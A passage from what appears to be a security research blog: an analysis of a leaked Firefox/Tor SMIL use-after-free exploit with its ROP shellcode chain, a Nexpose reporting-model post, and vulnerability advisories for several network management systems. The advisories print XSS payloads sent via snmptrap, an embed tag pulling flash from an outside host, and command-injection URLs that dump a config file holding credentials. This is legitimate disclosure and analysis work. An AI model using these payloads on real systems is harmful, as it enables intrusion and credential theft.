clearing intervals etc.) RegisterMilestone(); NotifyChangedInterval() is called to resolve any milestones relative to other animations for C.  Within foo, B has milestones relative to C in bar.  This results in a recursive branch along the same code path which ultimately hits UpdateCurrentInterval(), which in turn sets the state of the nsSMILTimedElement.  mElementState can be one of four possible values: STATE_STARTUP STATE_WAITING STATE_ACTIVE STATE_POSTACTIVE all of which perfectly describes their own respective meanings.  In Exhibit Three, B's beginning is set to occur after it's ending is set (C.end == A.end == 5s).  Since it will never start, the code marks it as STATUS_POSTACTIVE.  This results in the following code within the UpdateCurrentInterval() method creating a new interval and setting it as current. if (GetNextInterval(GetPreviousInterval(), mCurrentInterval, beginTime, updatedInterval)) { if (mElementState == STATE_POSTACTIVE) { MOZ_ASSERT(!mCurrentInterval, "In postactive state but the interval has been set"); mCurrentInterval = new nsSMILInterval(updatedInterval); mElementState = STATE_WAITING; NotifyNewInterval(); } With this occurring, UpdateCurrentInterval() now makes a call to the RegisterMilestone() method.  This was not the case in Exhibit Two.  With a new interval having been created, the method will add a new entry in the mMilestoneEntries array of containerA's nsSMILTimeContainer object, resulting in the array being freed and reallocated elsewhere, leaving the pointer p from nsSMILTimeContainer::NotifyTimeChange() referencing invalid memory. Exploitation Overview Just because the pointer p in NotifyTimeChange() can be forced to point to free memory doesn't mean it's all over.  Firefox overwrites freed memory with 0x5a5a5a5a, which effectively mitigates a lot of classic UaF scenarios.  Secondly, there is no way to allocate memory in the freed region after the milestone array is relocated.  Given these conditions, it's becoming clear that the vulnerability cannot be exploited like a classic use-after-free bug.  If you forced me to categorize it and come up with a new buzz word as people are so apt to in this industry, I might call it a dangling index, or an iterator run-off.  Regardless of silly names, the exploit utilizes some artful trickery to overcome the hurdles inherent in the vulnerability.  As I mentioned at the offset, for the sake of brevity, I'm going to be glossing over a lot of the details with regards to heap determinism (the terms "heap grooming" and "heap massaging" irritate me more than the word "moist"). In the first step, the exploit defragments the heap by spraying 0x80 byte blocks of ArrayBuffers, and another 0x80 of milestone arrays.  Each of the milestone arrays is filled to capacity, and then one additional element is added to each.  This causes the arrays to be reallocated elsewhere, leaving 0x80 holes.  After filling these holes with vulnerable milestone arrays, assuming the last element of the array is the one that triggers the vulnerability, there is now a high probability that the next iteration of the NotifyTimeChange() loop will point within one of the 0x80 ArrayBuffer's that were allocated first.  It is important that the last element be the one to trigger the bug, as otherwise, the memory would be freed and overwritten before an attacker could take advantage of it. The next obstacle in the process is bypassing the object reference count which, under normal circumstances, would cause the loop to exit.  Even if this were a full technical exposition, I'd leave this part as an exercise to the reader because of reasons.  I invite you to figure it out on your own, because it's both quite clever and critical to the success of the exploit.  Those pesky reasons though.  Seasoned exploitation engineers will see it quickly, and astute students will have truly learned when they unravel the knot. _I'd like to think that this is a good hint, but the only certainty is that it comes up on my 3 AM debugging session playlist a lot_ In any case, after the exploit does it's thing, the exit condition of the loop while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) will never be reached, and instead the loop will continue to iterate infinitely.  While this is great news, it also means that an attacker is unable to continue executing code.  The solution to this is one of the more brilliant aspects of this exploit, that being the use of a Javascript worker thread. var worker = new Worker('cssbanner.js'); With the worker thread, Javascript can continue being executed while the infinite loop within the main thread keeps spinning.  In fact, it's used to keep tabs on a lot of magical heap manipulation happening in the background, and to selectively exit the loop when need be.  From here, the exploit leverages a series of heap corruptions into a r/w primitive, and bypasses ASLR by obtaining the base address of xul.dll from said corruptions by parsing the files DOS header in memory.  This, along with resolving imports, is the main purpose of the PE(b,a) function in the leaked exploit. With ASLR defeated, all that lies ahead is defeating Data Execution Prevention, as the Tor browser doesn't feature any sort of sandbox technology.  The exploit handles this beautifully by implementing an automatic ROP chain generation function, which can locate the addresses of required gadgets amongst multiple versions of Firefox/Tor browser.  After constructing the chain, the following shellcode is appended (I've converted all addresses to base 16 for readability and added comments): ropChain[i++] = 0xc4819090; // add esp, 800h ropChain[i++] = 0x0800; ropChain[i++] = 0x5050c031; // xor eax, eax ; push eax ; push eax ropChain[i++] = 0x5b21eb50; // push eax ; jmp eip+0x23 ; pop ebx ropChain[i++] = 0xb8505053; // push ebx ; push eax ; push eax ropChain[i++] = CreateThread; // mov eax, kernel32!CreateThread ropChain[i++] = 0xb890d0ff; // call eax ropChain[i++] = arrBase + 0x2040; // mov eax, arrBase+0x2040 ropChain[i++] = 0x5f58208b; // mov esp, dword ptr [eax] ; pop eax ; pop edi ropChain[i++] = 0xbe905d58; // pop eax ; pop ebp ropChain[i++] = 0xffffff00; // mov esi, 0xffffff00 ropChain[i++] = 0x000cc2c9; // ret 0x0c ropChain[i++] = 0xffffdae8; // call eip+0x21 ropChain[i++] = 0x909090ff; // placeholder for payload address The shellcode basically allocates stack space and makes a call to CreateThread with the address of the final payload, which is obtained via the jmp eip x023 ; pop ebx line, as it's argument.  It next performs stack cleanup and exits the current infinite NotifyTimeChange() loop to ensure clean process continuation.  At least, it's supposed to.  Initial findings I've read from other researchers seem to indicate that it does not continue cleanly when used against Tor browser.  I need to investigate this myself at the first lull in the holiday festivities. I hope I managed to prove that exploiting buffer overflows should be an art -Solar Designer That wraps this up for now. Check back for updates in the future as I continue analysis on it. If you have questions about anything, feel free to ask either here or find me on Twitter @iamwilliamwebb. Happy holidays! References Original leaked exploit: [tor-talk] Javascript exploit

Nexpose Dimensional Data Warehouse and Reporting Data Model: What's the Difference?

The Data Warehouse Export recently added support for a Dimensional Model for its export schema. This provides a much more comprehensive, accessible, and scalable model of data than the previous (now referred to as "Legacy") model. The foundation for this dimensional model is…

The Data Warehouse Export recently added support for a Dimensional Model for its export schema. This provides a much more comprehensive, accessible, and scalable model of data than the previous (now referred to as "Legacy") model. The foundation for this dimensional model is the same as the Reporting Data Model, which backs the built-in reporting for SQL Query Export. So what exactly is the difference between the Reporting Data Model and the Dimensional Data Warehouse? What Are the Differences? The schema for the Data Warehouse and Reporting Data Model are very similar in their structure. Both use a dimensional model, and numerous facts and dimensions are identical. Many queries written against the Reporting Data Model can natively run against the Data Warehouse with little to no changes. The key differences are highlighted below. Date-based periodic facts vs Scan-based transactional facts Perhaps the most important change in the schema is the elimination of scan-based transactional facts. The Reporting Data Model supports transaction-based facts like fact_asset_scan_vulnerability. These allow you to run queries for "scan-scope" reports. However, as the warehouse is designed to export asset data over time, the cumulative state of an asset is exported, not just what was found in one specific scan. Most queries in the Reporting Data Model that use scans are using the scan to determine the date to report on. Alternatively, the Data Warehouse supports periodic snapshot fact tables like fact_asset_date. So, instead of narrowing down the state of an asset based on a scan for a particular date, the date itself is used immediately to access the state of the asset. For example, if a query is attempting to compare the current state of the asset against three months ago, the fact_asset_date table is used with the desired dates. Read the following section for more details. To drill down into scan events that have taken place on an asset, the new fact table fact_asset_event is available. This table provides a record of every change to an asset that has taken place, including scans, vulnerability exceptions, etc. The typecolumn has multiple values, one of which can be SCAN. When this is the case, the scan_id column will be populated with a value you can join against the dim_scan dimension, to access the precise scan details. Discrete Date Exporting The state of asset data is recorded in the Data Warehouse using an ETL process that runs periodically based on the configured schedule settings. This means that the warehouse does not necessarily have data for assets on each day, particularly if the schedule is weekly or monthly. In those circumstances, if you ask for the data for an asset on a particular date, it may not have data for that date. However, to simplify looking up the last date an ETL job ran prior to or on the date you are looking for, there are two built-in functions that can be used, periodAfter(DATE) and periodBefore(DATE). These functions access the information within the periods table (a junk dimension). For example, if the ETL is configured to export every 1 week, starting 12/7, then there will be asset data for 12/7, 12/14, 12/21, 12/28 and so on. If a report was to run on 12/15, then there would be no data if using the current date in the query. Instead, you can use periodBefore(CURRENT_DATE), and the date of 12/14 will be resolved instead of 12/15. Future examples of trend-based queries and reports will be described in much more details, so keep an eye on the Reporting Space feed. One-to-One Flattening A few tables have been further flattened to avoid joining one-to-one relationships. For example, the dim_asset table has an operating_system_id column in the Reporting Data Model that is used to join the dim_operating_system table. This is a one-to-one relationship, therefore it has been flatted in the Data Warehouse Export to just be fields within the dim_asset table itself (e.g. os_description, etc). This denormalization technique has been applied throughout the model. Enterprise-level Scale The Reporting Data Model is a dynamic, runtime schema that applies permissions, role-based access control, and filters from the report configuration specified. This makes the SQL Query Export an incredibly simple to use and flexible reporting option. However, the reports generate on the Security Console simultaneous to the other reports, and running scans. In contrast, the Data Warehouse exports data into a standalone database instance tuned specifically for read-heavy activity. The dimensional model is fully materialized, optimized, and indexed for fast lookup, aggregation, joins, etc. The ETL job also precomputes several levels of rollup in advance to further optimize queries against high levels of grain (e.g. site, tag, etc). Which Should I Use? And When? To help you pick which one is right for you, read Vulnerability Assessment Reports in Nexpose: The Right Tool for the Right Job for more information. What If I Get Stuck? Open a discussion or ask the community for help.

R7-2016-24, OpenNMS Stored XSS via SNMP (CVE-2016-6555, CVE-2016-6556)

Stored server cross-site scripting (XSS) vulnerabilities in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). Authentication is not required to exploit. Credit This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7. Products Affected The following versions…

Stored server cross-site scripting (XSS) vulnerabilities in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). Authentication is not required to exploit. Credit This issue was discovered by independent researcher Matthew Kienow, and reported by Rapid7. Products Affected The following versions were tested and successfully exploited: OpenNMS version 18.0.0 OpenNMS version 18.0.1 OpenNMS version 18.0.2-1, released September 20, 2016, corrects the issues. Description Two cross-site scripting (XSS) vulnerabilities were identified in the web application component of OpenNMS via the Simple Network Management Protocol (SNMP). These vulnerabilities can allow an unauthenticated adversary to inject malicious content into the OpenNMS user's browser session. This could cause arbitrary code execution in an authenticated user's browser session and may be leveraged to conduct further attacks. The code has access to the authenticated user's cookies and would be capable of performing privileged operations in the web application as the authenticated user, allowing for a variety of attacks. R7-2016-24.1, XSS via SNMP Trap Alerts First, a stored (AKA Persistent or Type I) server XSS vulnerability exists due to insufficient filtering of SNMP trap supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software via an object in a malicious SNMP trap. Once the trap is processed it is stored as an event. OpenNMS's Trapd service processes SNMP trap data and accepts traps with any SNMP v1 or v2c community string. The affected software is capable of accepting traps from hosts registered or unknown to the system. Traps containing XSS payloads from hosts unknown to the system will execute when the user navigates to the events list page (http://host:8980/opennms/event/list). R7-2016-24.2, XSS via SNMP Agent Data Second, a stored server XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software during the SNMP data collection operation performed during a discovery scan. The malicious node utilizes an SNMP agent to supply the desired XSS payload in response to SNMP GetRequest messages for the sysName (1.3.6.1.2.1.1.5) and sysContact (1.3.6.1.2.1.1.4) object identifiers (OIDs). The XSS payload provided for both the sysName and sysContact objects will execute when the user navigates to the page for the malicious node (http://host:8980/opennms/element/node.jsp?node=<ID>) where ID is the malicious node ID). Exploitation XSS payloads can be injected into the OpenNMS web application via both SNMP traps and the SNMP agent. SNMP Trap The trap OID 1.3.6.1.4.1.43555 was used to send an SNMPv2 trap in which the trap variables contain the single object sysName (1.3.6.1.2.1.1.5) set to the XSS payload <IMG SRC=/ onerror="alert('SNMP Trap Test')"></IMG>. The attack trap was sent using the Net-SNMP snmptrap tool as follows: snmptrap -v2c -c public OpenNMS_Host '' 1.3.6.1.4.1.43555 SNMPv2-MIB::sysName \ s "<IMG SRC=/ onerror=\"alert('SNMP Trap Test')\"></IMG>" When the user navigates to the events list page, the XSS payload is returned in a response to the user's browser session and executed. An alert box is displayed that contains the string "SNMP Trap Test", as shown below. SNMP Agent A malicious node is operating an SNMP agent that returns the XSS payload <script>alert("sysNameTest");</script> for the sysName (1.3.6.1.2.1.1.5) OID and <IMG SRC=/ onerror=alert(/sysContactTest/) /> for the sysContact (1.3.6.1.2.1.1.4) OID. Once the discovery scan locates and scans the malicious node, the user clicks the Info > Nodes menu item and then clicks the link for the name of the malicious node <script>alert("sysNameTest");</script>. When the node page loads the XSS payloads are returned in a response to the user's browser session and the code is executed. An alert box is displayed that contains the string "sysNameTest", as shown below, followed by an alert box that contains the string "/sysContactTest/". Mitigations Users should update to version 18.0.2-1 to avoid these issues. Absent this fixed version, there is no practical way to use the SNMP functionality of the product in a safe and secure way. SNMP services should be disabled or blocked until this patch can be applied. Disclosure Timeline This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy. Sun, Aug 14, 2016: Discovered by Matthew Kienow Wed, Sep 07, 2016: Disclosed by the discoverer to Rapid7 Thu, Sep 08, 2016: Disclosed to vendor by Rapid7 at security@opennms.org Thu, Sep 08, 2016: Vendor acknowledged the issue as NMS-8722 Wed, Sep 14, 2016: Patch committed as PR#1019 Sun, Sep 20, 2016: Version 18.0.2-1 released Fri, Sep 23, 2016: Disclosed to CERT/CC Tue, Sep 27, 2016: CVE-2016-6555 and CVE-2016-6556 assigned by CERT/CC Tue, Nov 15, 2016: Disclosed to the public

Multiple Disclosures for Multiple Network Management Systems, Part 2

As you may recall, back in December Rapid7 disclosed six vulnerabilities that affect four different Network Management System (NMS) products, discovered by Deral Heiland of Rapid7 and independent researcher Matthew Kienow. In March, Deral followed up with another pair of vulnerabilities for another NMS. Today,…

As you may recall, back in December Rapid7 disclosed six vulnerabilities that affect four different Network Management System (NMS) products, discovered by Deral Heiland of Rapid7 and independent researcher Matthew Kienow. In March, Deral followed up with another pair of vulnerabilities for another NMS. Today, we're releasing a new disclosure that covers 11 issues across four vendors. As is our custom, these were all reported to vendors and CERT for coordinated disclosure. While this disclosure covers a wide range of vulnerabilities discovered (and fixed), the theme of injecting malicious data via SNMP to ultimately gain control of NMS web console browser windows became overwhelming obvious, and deserving of a more in-depth look. To that end, today, Rapid7 would like to offer a complete research report on the subject. From Managed to Mangled: SNMP Exploits for Network Management Systems by Deral, Matthew, and yours truly is available for download here, and we'd love to hear your feedback on this technique in the comments below. We'll all be at DerbyCon as well, and since Matthew and Deral be presenting these findings on Saturday, September 24th, 2016, it will be a fine time to chat about this. Incidentally, we're quite pleased that every one of these vendors have issued patches to address these issues well before our planned disclosure today. All acted reasonably and responsibly to ensure their customers and users are protected against this technique, and we're confident that going forward, NMSs will do a much better job of inspecting and sanitizing machine-supplied, as well as user-supplied, input. With that, let's get on with the disclosing! Rapid7 Identifier CVE Identifier Class Vendor Patched R7-2016-11.1 CVE-2016-5073 XSS CloudView Version 2.10a R7-2016-11.2 CVE-2016-5073 XSS Cloudview Version 2.10a R7-2016-11.3 CVE-2016-5074 Format String Cloudview Version 2.10a R7-2016-11.4 CVE-2016-5075 XSS Cloudview Version 2.10a R7-2016-11.5 CVE-2016-5076 DOA Cloudview Version 2.10a R7-2016-12 CVE-2016-5077 XSS Netikus Version 3.2.1.44 R7-2016-13 CVE-2016-5078 XSS Paessler Version 16.2.24.4045 R7-2016-14.1 CVE-2016-5642 XSS Opmantek Versions 8.5.12G R7-2016-14.2 CVE-2016-5642 XSS Opmantek Versions 8.5.12G, 4.3.7c R7-2016-14.3 CVE-2016-5642 XSS Opmantek Versions 8.5.12G, 4.3.7c R7-2016-14.4 CVE-2016-6534 Cmd Injection Opmantek Versions 8.5.12G, 4.3.7c R7-2016-11: Multiple Issues in CloudView NMS CloudView NMS versions 2.07b and 2.09b is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability over SNMP agent responses and SNMP trap messages, a format string vulnerability in processing SNMP agent responses, a format string vulnerability via telnet login, and an insecure direct object reference issue. These issues were resolved in version 2.10a, available from the vendor. None of these issues require any prior authentication to exploit. These issues were discovered by Deral Heiland of Rapid7, Inc. R7-2016-11.1: XSS via SNMP Agent Responses (CVE-2016-5073) While examining the Network Management System (NMS) software Cloudview NMS, it was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within CloudView's web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the systems configuration, compromise data, take control of the product or launch attacks against the authenticated users hosts system. The first persistent XSS vulnerability is delivered via the network SNMP discovery process. If the network device that is discovered, during the discovery process, is configured with SNMP and the SNMP OID object sysDescr 1.3.6.1.2.1.1.1 contain HTML or JavaScript code within that field and the discovered device is imported into the database, then code will be delivered to the product for persistent display and execution. The following example shows the results of discovering a network device where the SNMP sysDescr has been set to: <SCRIPT>alert("XSS-sysDescr")<SCRIPT> In this example, when device is viewed within web console "Device List screen" the JavaScript executes, rendering an alert box within the authenticated users web browser. R7-2016-11.2: XSS via SNMP Trap Messages (CVE-2016-5073) The second method of injection involves SNMP trap messages. The CloudView product allows unsolicited traps, which are stored within the logs. A malicious actor can inject HTML and JavaScript code into the product via SNMP trap message. When the SNMP trap message information is viewed the code will execute within the context of the authenticated user. Figure 2 shows an example attack where a trap message was used with the HTML code <embed src=//ld1.us/4.swf> to embed flash into the CloudView web console. R7-2015-11.3: Format String Vulnerability via SNMP (CVE-2016-5074) Cloudview NMS was also discovered to be vulnerable to a format string vulnerability. This vulnerability allows a malicious actor to inject format string specifiers into the product via the SNMP sysDescr field. If successfully exploited, this could allow a malicious actor to execute code or trigger a denial of service condition within the application. The following Ollydbg screen shot (Figure 3) shows a series of %x that were used within the SNMP sysDescr field of a discovered device to enumerate the stack data from the main process stack and trigger a access violation with %s. R7-2015-11.4: XSS via Telnet Login (CVE-2016-5075) A third method was discovered for injecting persistent XSS in the username field of the Remote CLI telnet on port TCP 3082. A malicious actor with network access to this port could inject Javascript or HTML code into the event logs using failed login attempts as shown below: R7-2015-11.5: Direct Object Access (CVE-2016-5076) During testing it was also discovered that access to file within the Windows file systems where accessible without proper authentication. This allowed for full file system access on the Windows 2008 server systems running the product. In the following example, the URL http://192.168.2.72/MPR=:/server_rootC:/CloudView/data/admin/auto.def was used to retrieve the configuration file "auto.def" on the server without authentication. Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Mon, May 23, 2016 : Vendor responded with security contact Mon, May 23, 2016 : Details provided to vendor security contact Sun, Jun 05, 2016: Version 2.10a published by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5073, CVE-2016-5074, CVE-2016-5075, CVE-2016-5076 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-12: XSS via SNMP Trap Messages in Netikus EventSentry (CVE-2016-5077) Netikus EventSentry NMS versions 3.2.1.8, 3.2.1.22, and 3.2.1.30 are vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This issue was fixed in version 3.2.1.44, available from the vendor. This issue does not require any prior authentication to exploit. This issue was discovered by Deral Heiland of Rapid7, Inc. Exploitation While examining the Network Management System (NMS) software EventSentry, It was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within EventSentry's web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the systems configuration, compromise data, take control of the product or launch attacks against the authenticated user's host system. This injection was conducted using unsolicited SNMP trap messages, which are stored within the SNMP logs on EventSentry. A malicious actor can inject HTML and JavaScript code into the product via SNMP trap message. When the SNMP trap message information is viewed, the code will execute within the context of the authenticated user. By using the following snmptrap command, it was possible to inject the following HTML code <embed src=//ld1.us/ 4.swf> to embed flash into the EventSentry web console SNMP logs: snmptrap -v 1 -c public 192.168.2.72 '1' '192.168.2.68' 6 99 '55' 1 s "<embed src=//ld1.us/4.swf>" Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Mon, May 23, 2016 : Vendor responded with security contact Mon, May 23, 2016 : Details provided to vendor security contact Fri, May 27, 2016: Version 3.2.1.44 published by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5077 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-13: XSS via SNMP in Paessler PRTG (CVE-2016-5078) Paessler PRTG NMS version 16.2.24.3791 is vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This issue does not require any prior authentication to exploit, and was fixed in version 16.2.24.4045, available from the vendor. This issue was discovered by Deral Heiland of Rapid7, Inc. Exploitation While examining the Network Management System (NMS) software PRTG, it was discovered to be vulnerable to a persistent Cross Site Scripting (XSS) vulnerability. This vulnerability allows a malicious actor to inject persistent JavaScript and HTML code into various fields within PRTG's Network Monitor web management interface. When this data (JavaScript) is viewed within the web console the code will execute within the context of the authenticated user. This will allow a malicious actor to conduct attacks which can be used to modify the system configuration, compromise data, take control of the product or launch attacks against the authenticated user's host system. The persistent XSS vulnerability is delivered via the network SNMP discovery process of a device. If the network device that is discovered contains JavaScript or HTML code specified as the following SNMP OID objects, then the code will be rendered within the context of the authenticated user who views the “System Information” web page of the discovered device. sysDescr 1.3.6.1.2.1.1.1.0 sysLocation 1.3.6.1.2.1.1.6.0 sysContact 1.3.6.1.2.1.1.4.0 The following example shows the results of discovering a network device where the SNMP sysDescr has been set to <embed src=//ld1.us/4.swf>. In this example, when a device's "System Information" web page is viewed in the web console, the HTML code will download and render the Flash file in the authenticated users web browser. Disclosure Timeline Mon, May 23, 2016 : Initial contact to vendor Tue, May 24, 2016 : Vendor responded with security contact Tue, May 24, 2016 : Details provided to vendor security contact Mon, Jun 06, 2016: Version 16.2.24.4045/4046 released by the vendor Thu, Jun 09, 2016 : Disclosed to CERT, tracked as VR-205 Tue, Jun 14, 2016: CVE-2016-5078 assigned by CERT Wed, Sep 07, 2016: Public disclosure R7-2016-14: Multiple Issues in Opmantek NMIS Opmantek NMIS NMS versions 8.5.10G and 4.3.6f are vulnerable to a persistent Cross Site Scripting (XSS) vulnerability over SNMP agent responses and SNMP trap messages, a reflected XSS vulnerability over SNMP agent responses, and a command injection vulnerability. These issues were fixed in versions 8.5.12G and 4.3.7c, available from the vendor. All three of the XSS attack methods allow an unauthenticated adversary to inject malicious content into the user's browser session. This could cause arbitrary code execution in an authenticated user's browser session and may be leveraged to conduct further attacks. The code has access to the authenticated user's cookies and would be capable of performing privileged operations in the web application as the authenticated user, allowing for a variety of attacks. These issues were discovered by independent researcher Matthew Kienow. Note that all three XSS vectors have been assigned the same CVE identifier. R7-2016-14.1, XSS Injection via SNMP Trap Messages (CVE-2016-5642) First, a stored (AKA Persistent or Type I) server XSS vulnerability exists due to insufficient filtering of SNMP trap supplies data before the affected software stores and displays the data. Traps that will be processed by NMIS version 8.x depend on the configuration of snmptrapd, the Net-SNMP trap notification receiver. This component may be configured to accept all incoming notifications or may be constrained by defined access control. In the latter case, the adversary must determine the SNMP authorization credentials before launching the attack. Note that NMIS version 4.x does not have the capability of inspecting trap messages, so is unaffected by this issue. The example configuration for Net-SNMP's snmptrapd /install/snmptrapd.conf, which ships with NMIS, contains the line "disableAuthorization yes." This directive disables access control checks and accepts all incoming notifications. The affected software is capable of accepting traps from hosts registered or unknown to the system. The stored XSS payload is delivered to the affected software via an object in the malicious SNMP trap. Once the trap is processed it is stored in the SNMP Traps Log. The XSS payload will execute when the user navigates to the SNMP Traps Log widget by clicking on the Service Desk > Logs > Log List menu item, and then clicking the SNMP_Traps link in the List of Available Logs window that appears. The user may also navigate to the non-widget SNMP Traps Log page at http://host:port/cgi-nmis8/logs.pl?conf=Config.nmis&act=log_file_view&logname=SN MP_Traps&widget=false. R7-2016-14.2, XSS Injection via SNMP Agent Responses (CVE-2016-5642) Second, a stored server XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software stores and displays the data. The stored XSS payload is delivered to the affected software during the SNMP data collect operation performed when adding and updating a node. The malicious node utilizes an SNMP agent to supply the desired XSS payload in response to SNMP GetRequest messages for the sysDescr (1.3.6.1.2.1.1.1), sysContact (1.3.6.1.2.1.1.4) and sysLocation (1.3.6.1.2.1.1.6) object identifiers (OIDs). The XSS payload provided for the sysDescr object will execute when the add and update node operation is complete and the results are displayed. The XSS payload provided for the sysLocation object will execute when the user clicks the Network Status > Network Metrics and Health menu item and then clicks on the link for the malicious node's group. After the Node List and Status window appears, if the user clicks on the link for the malicious node the XSS payload for the sysLocation, sysContact and sysDescr objects execute before the Node Details window appears. If the user keeps the malicious node's Node Details window open it updates at a set interval causing all three XSS payloads to execute repeatedly. R7-2016-14.3, Reflected XSS Injection via SNMP Agent Responses (CVE-2016-5642) Third, a reflected (AKA Non-Persistent or Type II) client XSS vulnerability exists due to insufficient filtering of SNMP agent supplied data before the affected software displays the data. The reflected XSS payload is delivered to the affected software during the SNMP Tool walk operation. Any XSS payloads contained in walked OIDs will execute when the results are displayed. Note, the SNMP Tool is not available in NMIS version 4.3.6f. R7-2016-14.4, Web Application Command Injection Finally, a command injection vulnerability in the web application component of Opmantek Network Management Information System (NMIS) exists due to insufficient input validation. In NMIS version 8.5.10G the command injection vulnerability exists in the tools.pl CGI script via the "node" parameter when the "act" parameter is set to "tool_system_finger". The user must be authenticated and granted the tls_finger permission, which does not appear to be enabled by default. However, the software is vulnerable if the tls_finger permission is granted to the authenticated user in the /conf/Access.nmis file. A sample tls_finger permission is defined as follows: 'tls_finger' => { 'descr' => 'Permit Access tool finger', 'group' => 'access', 'level0' => '1', 'level1' => '0', 'level2' => '1', 'level3' => '1', 'level4' => '1', 'level5' => '0', 'name' => 'tls_finger' } In NMIS version 4.3.6f the command injection vulnerability exists in the admin.pl CGI script via the "node" parameter when the "admin" parameter is set to either "man", "finger", "ping", "trace" or "nslookup". This is exploitable without authentication in the default configuration, since NMIS authentication is not required by default as specified in the /conf/nmis.conf file. #authentication stuff # # set this to true to require authentication (default=false) auth_require=false NMIS version 8.5.10G Exploitation An authenticated user that has been granted the tls_finger permission requests the URL http://host:port/cgi-nmis8/tools.pl?conf=Config.nmis&act=tool_system_finger&node =;cat /usr/local/nmis8/conf/Config.nmis to dump the NMIS configuration file, as shown below. The config file contains cleartext usernames and passwords for the outgoing notification mail server and NMIS database server, as shown below. NMIS version 4.3.6f Exploitation An unauthenticated individual with access to the NMIS server requests the URL http://host:port/cgi-nmis4/admin.pl?admin=finger&node=;whoami to output the user name associated with the effective user ID of the web server process, as shown below. Disclosure Timeline Wed, Jun 01, 2016 : Initial contact to vendor Thu, Jun 02, 2016 : Vendor responded with security contact Thu, Jun 02, 2016 : Details provided to vendor security contact Mon, Jun 13, 2016: Versions 4.3.7c and NMIS 8.5.12G released by the vendor Wed, Jun 22, 2016 : Disclosed to CERT, tracked as VR-228 Wed, Jun 22, 2016: CVE-2016-5642 assigned by CERT Tue, Sep 06, 2016: CVE-2016-6534 assigned by CERT Wed, Sep 07, 2016: Public disclosure More Information for All Issues All of these described issues have been fixed by their respective vendors, so users are encouraged to update to the latest versions. For a more in-depth exploration of the SNMP-vectored issues, readers are encourage to download the accompanying paper, From Managed to Mangled: SNMP Exploits for Network Management Systems.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Upcoming Event

UNITED 2017

Rapid7's annual security summit is taking place September 12-14, 2017 in Boston, MA. Join industry peers for candid talks, focused trainings, and roundtable discussions that accelerate innovation, reduce risk, and advance your business.

Register Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now